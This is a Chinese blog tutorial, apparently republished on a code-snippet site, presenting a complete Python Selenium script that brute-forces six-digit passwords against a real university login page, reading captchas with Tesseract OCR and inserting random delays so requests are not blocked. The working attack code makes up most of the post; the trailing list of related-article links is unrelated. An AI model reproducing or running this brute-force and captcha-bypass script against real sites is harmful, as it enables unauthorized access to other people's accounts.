python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中使用PIPE操作Linux管道
Feb 04 Python
简单谈谈Python中的反转字符串问题
Oct 24 Python
python使用正则表达式替换匹配成功的组
Nov 17 Python
python3+PyQt5使用数据库窗口视图
Apr 24 Python
python 获取当天每个准点时间戳的实例
May 22 Python
教你利用Python玩转histogram直方图的五种方法
Jul 30 Python
基于python指定包的安装路径方法
Oct 27 Python
浅谈python多进程共享变量Value的使用tips
Jul 16 Python
python读取word 中指定位置的表格及表格数据
Oct 23 Python
python global和nonlocal用法解析
Feb 03 Python
使用sklearn的cross_val_score进行交叉验证实例
Feb 28 Python
浅谈Python3中print函数的换行
Aug 05 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
用 Composer构建自己的 PHP 框架之设计 MVC
2014/10/30 PHP
PHP实现的限制IP投票程序IP来源分析
2016/05/04 PHP
jquery获取一个元素下面相同子元素的个数代码
2014/07/31 Javascript
jQuery实现点击水纹波动动画
2016/04/10 Javascript
使用PHP+JavaScript将HTML页面转换为图片的实例分享
2016/04/18 Javascript
jQuery基于扩展实现的倒计时效果
2016/05/14 Javascript
web前端开发upload上传头像js示例代码
2016/10/22 Javascript
NodeJS整合银联网关支付(DEMO)
2016/11/09 NodeJs
JS碰撞运动实现方法详解
2016/12/15 Javascript
Javascript中document.referrer隐藏来源的方法
2017/01/16 Javascript
原生js实现日期计算器功能
2017/02/17 Javascript
canvas简单快速的实现知乎登录页背景效果
2017/05/08 Javascript
bootstrap弹出层的多种触发方式
2017/05/10 Javascript
JavaScript屏蔽Backspace键的实现代码
2017/11/02 Javascript
three.js实现3D模型展示的示例代码
2017/12/31 Javascript
微信小程序图片轮播组件gallery slider使用方法详解
2018/01/31 Javascript
基于cropper.js封装vue实现在线图片裁剪组件功能
2018/03/01 Javascript
Node.js创建HTTP文件服务器的使用示例
2018/05/11 Javascript
使用vue-infinite-scroll实现无限滚动效果
2018/06/22 Javascript
在vue中使用vue-echarts-v3的实例代码
2018/09/13 Javascript
vue实现户籍管理系统
2020/05/29 Javascript
使用django-crontab实现定时任务的示例
2018/02/26 Python
使用python存储网页上的图片实例
2018/05/22 Python
Python中的 ansible 动态Inventory 脚本
2020/01/19 Python
浅谈Python里面None True False之间的区别
2020/07/09 Python
荷兰皇家航空公司中国官网:KLM中国
2017/12/13 全球购物
TALLY WEiJL法国网上商店:服装、时装及配饰
2019/08/31 全球购物
Calphalon美国官网:美国顶级锅具品牌
2020/02/05 全球购物
同学聚会老师邀请函
2014/01/28 职场文书
求职简历中自我评价
2014/01/28 职场文书
学生会干部自荐信
2014/02/04 职场文书
母亲节感恩活动记录
2014/03/16 职场文书
党的群众路线教育实践活动个人整改方案
2014/10/25 职场文书
三八妇女节主持词
2015/07/04 职场文书
使用nginx配置访问wgcloud的方法
2021/06/26 Servers
Python基本的内置数据类型及使用方法
2022/04/13 Python